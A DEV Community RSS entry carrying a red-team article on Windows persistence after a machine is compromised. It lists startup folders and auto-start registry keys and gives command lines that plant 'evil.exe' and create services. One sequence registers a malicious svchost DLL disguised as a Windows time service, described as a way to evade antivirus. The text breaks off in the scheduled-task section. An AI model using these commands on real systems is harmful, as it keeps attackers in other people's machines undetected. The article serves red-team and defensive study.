<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Excalibra</title>
    <description>The latest articles on DEV Community by Excalibra (@excalibra).</description>
    <link>https://dev.to/excalibra</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2465115%2F44e01ea7-d2d5-4532-8d8a-4a94ebf19e42.jpg</url>
      <title>DEV Community: Excalibra</title>
      <link>https://dev.to/excalibra</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/excalibra"/>
    <language>en</language>
    <item>
      <title>Windows Persistence Techniques</title>
      <dc:creator>Excalibra</dc:creator>
      <pubDate>Wed, 10 Jun 2026 08:44:21 +0000</pubDate>
      <link>https://dev.to/excalibra/windows-persistence-techniques-53p8</link>
      <guid>https://dev.to/excalibra/windows-persistence-techniques-53p8</guid>
      <description>&lt;h2&gt;
  
  
  0x00 Preface and Scenario
&lt;/h2&gt;

&lt;p&gt;In red team operations, it is currently common practice to use Cobalt Strike (CS) for unified management of acquired shells or phished targets. However, practical experience reveals that CS does not natively integrate a one‑click persistence function. Many third‑party plugins developed by the community are either incomplete or cumbersome to use, and some even contain bugs that give a false impression of success, ultimately resulting in the loss of the shell.&lt;br&gt;&lt;br&gt;
Consequently, this article collates persistence methods within the Windows environment based on the aforementioned scenario. Subsequently, a selection of the more frequently employed and convenient operations will be integrated into a CS plugin to ensure that access is rapidly maintained immediately after a shell is obtained.&lt;/p&gt;
&lt;h2&gt;
  
  
  0x01 Startup Directory
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Required Privileges:&lt;/strong&gt; With or without elevation.&lt;br&gt;&lt;br&gt;
This is the most common and simplest method of persistence. Programmes or shortcuts placed in this directory execute automatically when a user logs in.&lt;br&gt;&lt;br&gt;
For NT6 and later, the directories are as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="kd"&gt;Current&lt;/span&gt; &lt;span class="kd"&gt;user&lt;/span&gt;:
&lt;span class="kd"&gt;C&lt;/span&gt;:\Users\Username\AppData\Roaming\Microsoft\Windows\Start &lt;span class="kd"&gt;Menu&lt;/span&gt;\Programs\Startup
&lt;span class="kd"&gt;All&lt;/span&gt; &lt;span class="kd"&gt;users&lt;/span&gt;:
&lt;span class="kd"&gt;C&lt;/span&gt;:\ProgramData\Microsoft\Windows\Start &lt;span class="kd"&gt;Menu&lt;/span&gt;\Programs\StartUp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For pre‑NT6 systems:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="kd"&gt;Current&lt;/span&gt; &lt;span class="kd"&gt;user&lt;/span&gt;:
&lt;span class="kd"&gt;C&lt;/span&gt;:\Documents &lt;span class="kd"&gt;and&lt;/span&gt; &lt;span class="kd"&gt;Settings&lt;/span&gt;\Hunter\Start &lt;span class="kd"&gt;Menu&lt;/span&gt;\Programs\Startup
&lt;span class="kd"&gt;All&lt;/span&gt; &lt;span class="kd"&gt;users&lt;/span&gt;:
&lt;span class="kd"&gt;C&lt;/span&gt;:\Documents &lt;span class="kd"&gt;and&lt;/span&gt; &lt;span class="kd"&gt;Settings&lt;/span&gt;\All &lt;span class="kd"&gt;Users&lt;/span&gt;\Start &lt;span class="kd"&gt;Menu&lt;/span&gt;\Programs\Startup
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  0x02 Registry Keys
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Required Privileges:&lt;/strong&gt; With or without elevation.&lt;br&gt;&lt;br&gt;
The extensive Windows registry and its relatively lax permission management provide numerous opportunities for manipulation. Among these, registry auto‑start entries are a frequently used persistence mechanism.&lt;br&gt;&lt;br&gt;
As the core database of Windows, the registry stores a wealth of critical system and user information. Windows provides two independent registry paths: &lt;code&gt;HKEY_CURRENT_USER&lt;/code&gt; (HKCU), which pertains to the current user, and &lt;code&gt;HKEY_LOCAL_MACHINE&lt;/code&gt; (HKLM), which corresponds to the physical machine and can be modified only by privileged accounts.&lt;br&gt;&lt;br&gt;
With the increasing awareness of security, most Windows machines compromised during red team engagements operate with reduced privileges. For example, elevating privileges on a phished PC is often unnecessary; even if an Administrator’s startup entry is written after elevation, the user will still log into their own account on the next session, rendering the persistence ineffective.&lt;br&gt;&lt;br&gt;
All relevant registry keys for Windows persistence are enumerated below:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. Load Key
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load

2. Userinit Key
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
This key normally contains userinit.exe. It permits multiple programmes separated by commas, e.g. userinit.exe,evil.exe.

3. Explorer\Run Key
The Explorer\Run key exists under both HKCU and HKLM.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

4. RunServicesOnce Key
This key starts service programmes before user logon and prior to other programmes launched via registry keys. It exists under both HKCU and HKLM.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

5. RunServices Key
Programmes specified here run immediately after those from RunServicesOnce, but both execute before user logon.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices

6. RunOnce\Setup Key
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup

7. RunOnce Key
Installation programmes typically use the RunOnce key to auto‑start. Its locations are:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
[Pre‑NT6] HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
The HKLM RunOnce key runs immediately after user logon, before other Run keys; the HKCU RunOnce key runs after the operating system has processed other Run keys and the Startup folder.

8. Run Key
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Run is the most commonly employed auto‑start key. The HKCU Run key executes after the HKLM Run key, but both are processed before the Startup folder.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Command to write a registry key:&lt;br&gt;&lt;br&gt;
&lt;code&gt;reg add "XXXX" /v evil /t REG_SZ /d "[Absolute Path]\evil.exe"&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  0x03 Services
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Required Privileges:&lt;/strong&gt; Administrator privileges without UAC reduction.&lt;br&gt;&lt;br&gt;
Creating a service requires non‑reduced administrator rights; therefore, privilege escalation is a prerequisite for this persistence method. However, it offers higher stealth compared to registry keys (e.g. loading a DLL via svchost service groups can conceal the malicious process). Both CMD and PowerShell can add services with commands. Example:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sc create evil binpath= "cmd.exe /k [Absolute Path]evil.exe" start= "auto" obj= "LocalSystem"&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This straightforward approach launches a service via cmd. A minor pitfall exists: a shellcode loader that blocks the main thread may cause the service to appear unresponsive during startup and fail. Hence, invoking cmd is mandatory; the service cannot be created directly. Upon successful start, the process runs with SYSTEM privileges before user logon. The obvious drawback is that the malicious process remains a distinct entity, reducing stealth, as illustrated below:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe5ymfskoe35ayg6f6qj5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe5ymfskoe35ayg6f6qj5.png" alt=" " width="796" height="211"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Another category of services is launched through svchost. Numerous Windows services are loaded by injecting into this host process (a Microsoft‑sanctioned DLL injection mechanism). Consequently, if the DLL itself evades detection, antivirus software will ignore this behaviour; moreover, as the malicious process is not standalone, stealth is enhanced.&lt;br&gt;&lt;br&gt;
However, loading a service via svchost cannot be accomplished with a single command. It requires crafting a service DLL and adding extra registry entries. Because 64‑bit systems have dual registry views and two svchost instances, the commands differ slightly.&lt;br&gt;&lt;br&gt;
Commands for 32‑bit systems:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="nb"&gt;sc&lt;/span&gt; &lt;span class="kd"&gt;create&lt;/span&gt; &lt;span class="kd"&gt;TimeSync&lt;/span&gt; &lt;span class="kd"&gt;binPath&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"C:\Windows\System32\svchost.exe -k netsvr"&lt;/span&gt; &lt;span class="nb"&gt;start&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;auto&lt;/span&gt; &lt;span class="kd"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;LocalSystem&lt;/span&gt;
&lt;span class="nb"&gt;reg&lt;/span&gt; &lt;span class="kd"&gt;add&lt;/span&gt; &lt;span class="kd"&gt;HKLM&lt;/span&gt;\SYSTEM\CurrentControlSet\services\TimeSync\Parameters &lt;span class="na"&gt;/v &lt;/span&gt;&lt;span class="kd"&gt;ServiceDll&lt;/span&gt; &lt;span class="na"&gt;/t &lt;/span&gt;&lt;span class="kd"&gt;REG_EXPAND_SZ&lt;/span&gt; &lt;span class="na"&gt;/d &lt;/span&gt;&lt;span class="s2"&gt;"C:\Users\hunter\Desktop\localService32.dll"&lt;/span&gt; &lt;span class="na"&gt;/f /reg&lt;/span&gt;:32
&lt;span class="nb"&gt;reg&lt;/span&gt; &lt;span class="kd"&gt;add&lt;/span&gt; &lt;span class="kd"&gt;HKLM&lt;/span&gt;\SYSTEM\CurrentControlSet\services\TimeSync &lt;span class="na"&gt;/v &lt;/span&gt;&lt;span class="kd"&gt;Description&lt;/span&gt; &lt;span class="na"&gt;/t &lt;/span&gt;&lt;span class="kd"&gt;REG_SZ&lt;/span&gt; &lt;span class="na"&gt;/d &lt;/span&gt;&lt;span class="s2"&gt;"Windows Time Synchronization Service"&lt;/span&gt; &lt;span class="na"&gt;/f /reg&lt;/span&gt;:32
&lt;span class="nb"&gt;reg&lt;/span&gt; &lt;span class="kd"&gt;add&lt;/span&gt; &lt;span class="kd"&gt;HKLM&lt;/span&gt;\SYSTEM\CurrentControlSet\services\TimeSync &lt;span class="na"&gt;/v &lt;/span&gt;&lt;span class="kd"&gt;DisplayName&lt;/span&gt; &lt;span class="na"&gt;/t &lt;/span&gt;&lt;span class="kd"&gt;REG_SZ&lt;/span&gt; &lt;span class="na"&gt;/d &lt;/span&gt;&lt;span class="s2"&gt;"TimeSyncSrv"&lt;/span&gt; &lt;span class="na"&gt;/f /reg&lt;/span&gt;:32
&lt;span class="nb"&gt;reg&lt;/span&gt; &lt;span class="kd"&gt;add&lt;/span&gt; &lt;span class="s2"&gt;"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost"&lt;/span&gt; &lt;span class="na"&gt;/v &lt;/span&gt;&lt;span class="kd"&gt;netsvr&lt;/span&gt; &lt;span class="na"&gt;/t &lt;/span&gt;&lt;span class="kd"&gt;REG_MULTI_SZ&lt;/span&gt; &lt;span class="na"&gt;/d &lt;/span&gt;&lt;span class="kd"&gt;TimeSync&lt;/span&gt; &lt;span class="na"&gt;/f /reg&lt;/span&gt;:32
&lt;span class="nb"&gt;sc&lt;/span&gt; &lt;span class="nb"&gt;start&lt;/span&gt; &lt;span class="kd"&gt;TimeSync&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Commands for registering a 32‑bit service on 64‑bit systems:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="nb"&gt;sc&lt;/span&gt; &lt;span class="kd"&gt;create&lt;/span&gt; &lt;span class="kd"&gt;TimeSync&lt;/span&gt; &lt;span class="kd"&gt;binPath&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"C:\Windows\Syswow64\svchost.exe -k netsvr"&lt;/span&gt; &lt;span class="nb"&gt;start&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;auto&lt;/span&gt; &lt;span class="kd"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;LocalSystem&lt;/span&gt;
&lt;span class="nb"&gt;reg&lt;/span&gt; &lt;span class="kd"&gt;add&lt;/span&gt; &lt;span class="kd"&gt;HKLM&lt;/span&gt;\SYSTEM\CurrentControlSet\services\TimeSync\Parameters &lt;span class="na"&gt;/v &lt;/span&gt;&lt;span class="kd"&gt;ServiceDll&lt;/span&gt; &lt;span class="na"&gt;/t &lt;/span&gt;&lt;span class="kd"&gt;REG_EXPAND_SZ&lt;/span&gt; &lt;span class="na"&gt;/d &lt;/span&gt;&lt;span class="s2"&gt;"C:\Users\hunter\Desktop\localService32.dll"&lt;/span&gt; &lt;span class="na"&gt;/f /reg&lt;/span&gt;:32
&lt;span class="nb"&gt;reg&lt;/span&gt; &lt;span class="kd"&gt;add&lt;/span&gt; &lt;span class="kd"&gt;HKLM&lt;/span&gt;\SYSTEM\CurrentControlSet\services\TimeSync &lt;span class="na"&gt;/v &lt;/span&gt;&lt;span class="kd"&gt;Description&lt;/span&gt; &lt;span class="na"&gt;/t &lt;/span&gt;&lt;span class="kd"&gt;REG_SZ&lt;/span&gt; &lt;span class="na"&gt;/d &lt;/span&gt;&lt;span class="s2"&gt;"Windows Time Synchronization Service"&lt;/span&gt; &lt;span class="na"&gt;/f /reg&lt;/span&gt;:32
&lt;span class="nb"&gt;reg&lt;/span&gt; &lt;span class="kd"&gt;add&lt;/span&gt; &lt;span class="kd"&gt;HKLM&lt;/span&gt;\SYSTEM\CurrentControlSet\services\TimeSync &lt;span class="na"&gt;/v &lt;/span&gt;&lt;span class="kd"&gt;DisplayName&lt;/span&gt; &lt;span class="na"&gt;/t &lt;/span&gt;&lt;span class="kd"&gt;REG_SZ&lt;/span&gt; &lt;span class="na"&gt;/d &lt;/span&gt;&lt;span class="s2"&gt;"TimeSyncSrv"&lt;/span&gt; &lt;span class="na"&gt;/f /reg&lt;/span&gt;:32
&lt;span class="nb"&gt;reg&lt;/span&gt; &lt;span class="kd"&gt;add&lt;/span&gt; &lt;span class="s2"&gt;"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost"&lt;/span&gt; &lt;span class="na"&gt;/v &lt;/span&gt;&lt;span class="kd"&gt;netsvr&lt;/span&gt; &lt;span class="na"&gt;/t &lt;/span&gt;&lt;span class="kd"&gt;REG_MULTI_SZ&lt;/span&gt; &lt;span class="na"&gt;/d &lt;/span&gt;&lt;span class="kd"&gt;TimeSync&lt;/span&gt; &lt;span class="na"&gt;/f /reg&lt;/span&gt;:32
&lt;span class="nb"&gt;sc&lt;/span&gt; &lt;span class="nb"&gt;start&lt;/span&gt; &lt;span class="kd"&gt;TimeSync&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Commands for native 64‑bit services:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="nb"&gt;sc&lt;/span&gt; &lt;span class="kd"&gt;create&lt;/span&gt; &lt;span class="kd"&gt;TimeSync&lt;/span&gt; &lt;span class="kd"&gt;binPath&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"C:\Windows\System32\svchost.exe -k netsvr"&lt;/span&gt; &lt;span class="nb"&gt;start&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;auto&lt;/span&gt; &lt;span class="kd"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;LocalSystem&lt;/span&gt;
&lt;span class="nb"&gt;reg&lt;/span&gt; &lt;span class="kd"&gt;add&lt;/span&gt; &lt;span class="kd"&gt;HKLM&lt;/span&gt;\SYSTEM\CurrentControlSet\services\TimeSync\Parameters &lt;span class="na"&gt;/v &lt;/span&gt;&lt;span class="kd"&gt;ServiceDll&lt;/span&gt; &lt;span class="na"&gt;/t &lt;/span&gt;&lt;span class="kd"&gt;REG_EXPAND_SZ&lt;/span&gt; &lt;span class="na"&gt;/d &lt;/span&gt;&lt;span class="s2"&gt;"C:\Users\hunter\Desktop\localService32.dll"&lt;/span&gt; &lt;span class="na"&gt;/f /reg&lt;/span&gt;:64
&lt;span class="nb"&gt;reg&lt;/span&gt; &lt;span class="kd"&gt;add&lt;/span&gt; &lt;span class="kd"&gt;HKLM&lt;/span&gt;\SYSTEM\CurrentControlSet\services\TimeSync &lt;span class="na"&gt;/v &lt;/span&gt;&lt;span class="kd"&gt;Description&lt;/span&gt; &lt;span class="na"&gt;/t &lt;/span&gt;&lt;span class="kd"&gt;REG_SZ&lt;/span&gt; &lt;span class="na"&gt;/d &lt;/span&gt;&lt;span class="s2"&gt;"Windows Time Synchronization Service"&lt;/span&gt; &lt;span class="na"&gt;/f /reg&lt;/span&gt;:64
&lt;span class="nb"&gt;reg&lt;/span&gt; &lt;span class="kd"&gt;add&lt;/span&gt; &lt;span class="kd"&gt;HKLM&lt;/span&gt;\SYSTEM\CurrentControlSet\services\TimeSync &lt;span class="na"&gt;/v &lt;/span&gt;&lt;span class="kd"&gt;DisplayName&lt;/span&gt; &lt;span class="na"&gt;/t &lt;/span&gt;&lt;span class="kd"&gt;REG_SZ&lt;/span&gt; &lt;span class="na"&gt;/d &lt;/span&gt;&lt;span class="s2"&gt;"TimeSyncSrv"&lt;/span&gt; &lt;span class="na"&gt;/f /reg&lt;/span&gt;:64
&lt;span class="nb"&gt;reg&lt;/span&gt; &lt;span class="kd"&gt;add&lt;/span&gt; &lt;span class="s2"&gt;"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost"&lt;/span&gt; &lt;span class="na"&gt;/v &lt;/span&gt;&lt;span class="kd"&gt;netsvr&lt;/span&gt; &lt;span class="na"&gt;/t &lt;/span&gt;&lt;span class="kd"&gt;REG_MULTI_SZ&lt;/span&gt; &lt;span class="na"&gt;/d &lt;/span&gt;&lt;span class="kd"&gt;TimeSync&lt;/span&gt; &lt;span class="na"&gt;/f /reg&lt;/span&gt;:64
&lt;span class="nb"&gt;sc&lt;/span&gt; &lt;span class="nb"&gt;start&lt;/span&gt; &lt;span class="kd"&gt;TimeSync&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A significant caveat: the &lt;code&gt;reg add&lt;/code&gt; command overwrites existing registry values. Most keys under &lt;code&gt;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost&lt;/code&gt; are of type &lt;code&gt;REG_MULTI_SZ&lt;/code&gt; (multi‑string). Therefore, one must never write to an existing key, as it holds services essential for system boot; overwriting would cause severe issues. (Hence, the commands above use "netsvr", a key that does not exist by default.)&lt;/p&gt;

&lt;h2&gt;
  
  
  0x04 Scheduled Tasks
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Required Privileges:&lt;/strong&gt; Administrator privileges without UAC reduction, or standard user.&lt;br&gt;&lt;br&gt;
Scheduled tasks constitute another excellent persistence vector. Unlike auto‑start registry keys and services, scheduled tasks offer greater diversity and flexibility in configuration, and their location is relatively concealed (manual inspection requires several additional clicks). For instance, during security service engagements, the notorious "DriverLife" cryptominer employed persistence by creating multiple PowerShell scripts within scheduled tasks, with its stager directly embedded as a base64‑encoded argument in the command line. The input field is quite narrow, and less experienced engineers might easily overlook the trailing content.&lt;/p&gt;

&lt;p&gt;Windows provides the &lt;code&gt;SCHTASKS&lt;/code&gt; command for managing scheduled tasks, with the following options:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="kd"&gt;SCHTASKS&lt;/span&gt; &lt;span class="na"&gt;/parameter &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="kd"&gt;arguments&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;

&lt;span class="kd"&gt;Description&lt;/span&gt;:
    &lt;span class="kd"&gt;Enables&lt;/span&gt; &lt;span class="kd"&gt;an&lt;/span&gt; &lt;span class="kd"&gt;administrator&lt;/span&gt; &lt;span class="kd"&gt;to&lt;/span&gt; &lt;span class="kd"&gt;create&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;delete&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;query&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;change&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;run&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;and&lt;/span&gt; &lt;span class="kd"&gt;end&lt;/span&gt; &lt;span class="kd"&gt;scheduled&lt;/span&gt; &lt;span class="kd"&gt;tasks&lt;/span&gt; &lt;span class="na"&gt;on&lt;/span&gt; &lt;span class="kd"&gt;a&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt; &lt;span class="kd"&gt;or&lt;/span&gt; &lt;span class="kd"&gt;remote&lt;/span&gt; &lt;span class="kd"&gt;system&lt;/span&gt;.

&lt;span class="kd"&gt;Parameter&lt;/span&gt; &lt;span class="kd"&gt;List&lt;/span&gt;:
    &lt;span class="na"&gt;/Create         &lt;/span&gt;&lt;span class="kd"&gt;Creates&lt;/span&gt; &lt;span class="kd"&gt;a&lt;/span&gt; &lt;span class="kd"&gt;new&lt;/span&gt; &lt;span class="kd"&gt;scheduled&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt;.
    &lt;span class="na"&gt;/Delete         &lt;/span&gt;&lt;span class="kd"&gt;Deletes&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;scheduled&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;s&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;.
    &lt;span class="na"&gt;/Query          &lt;/span&gt;&lt;span class="kd"&gt;Displays&lt;/span&gt; &lt;span class="kd"&gt;all&lt;/span&gt; &lt;span class="kd"&gt;scheduled&lt;/span&gt; &lt;span class="kd"&gt;tasks&lt;/span&gt;.
    &lt;span class="na"&gt;/Change         &lt;/span&gt;&lt;span class="kd"&gt;Changes&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;properties&lt;/span&gt; &lt;span class="kd"&gt;of&lt;/span&gt; &lt;span class="kd"&gt;a&lt;/span&gt; &lt;span class="kd"&gt;scheduled&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt;.
    &lt;span class="na"&gt;/Run            &lt;/span&gt;&lt;span class="kd"&gt;Runs&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;scheduled&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt; &lt;span class="na"&gt;on&lt;/span&gt; &lt;span class="kd"&gt;demand&lt;/span&gt;.
    &lt;span class="na"&gt;/End            &lt;/span&gt;&lt;span class="kd"&gt;Stops&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;currently&lt;/span&gt; &lt;span class="kd"&gt;running&lt;/span&gt; &lt;span class="kd"&gt;scheduled&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt;.
    &lt;span class="na"&gt;/ShowSid        &lt;/span&gt;&lt;span class="kd"&gt;Shows&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;security&lt;/span&gt; &lt;span class="kd"&gt;identifier&lt;/span&gt; &lt;span class="kd"&gt;corresponding&lt;/span&gt; &lt;span class="kd"&gt;to&lt;/span&gt; &lt;span class="kd"&gt;a&lt;/span&gt; &lt;span class="kd"&gt;scheduled&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt; &lt;span class="kd"&gt;name&lt;/span&gt;.
    /&lt;span class="o"&gt;?&lt;/span&gt;              &lt;span class="kd"&gt;Displays&lt;/span&gt; &lt;span class="kd"&gt;this&lt;/span&gt; &lt;span class="nb"&gt;help&lt;/span&gt; &lt;span class="kd"&gt;message&lt;/span&gt;.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For persistence, the &lt;code&gt;Create&lt;/code&gt; parameter is most frequently used. Due to its numerous arguments, the full help text is reproduced below for reference:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="kd"&gt;SCHTASKS&lt;/span&gt; &lt;span class="na"&gt;/Create &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="na"&gt;/S &lt;/span&gt;&lt;span class="kd"&gt;system&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="na"&gt;/U &lt;/span&gt;&lt;span class="kd"&gt;username&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="na"&gt;/P &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="kd"&gt;password&lt;/span&gt;&lt;span class="o"&gt;]]]]&lt;/span&gt;
    &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="na"&gt;/RU &lt;/span&gt;&lt;span class="kd"&gt;username&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="na"&gt;/RP &lt;/span&gt;&lt;span class="kd"&gt;password&lt;/span&gt;&lt;span class="o"&gt;]]&lt;/span&gt; &lt;span class="na"&gt;/SC &lt;/span&gt;&lt;span class="kd"&gt;schedule&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="na"&gt;/MO &lt;/span&gt;&lt;span class="kd"&gt;modifier&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="na"&gt;/D &lt;/span&gt;&lt;span class="kd"&gt;day&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
    &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="na"&gt;/M &lt;/span&gt;&lt;span class="kd"&gt;months&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="na"&gt;/I &lt;/span&gt;&lt;span class="kd"&gt;idletime&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="na"&gt;/TN &lt;/span&gt;&lt;span class="kd"&gt;taskname&lt;/span&gt; &lt;span class="na"&gt;/TR &lt;/span&gt;&lt;span class="kd"&gt;taskrun&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="na"&gt;/ST &lt;/span&gt;&lt;span class="kd"&gt;starttime&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
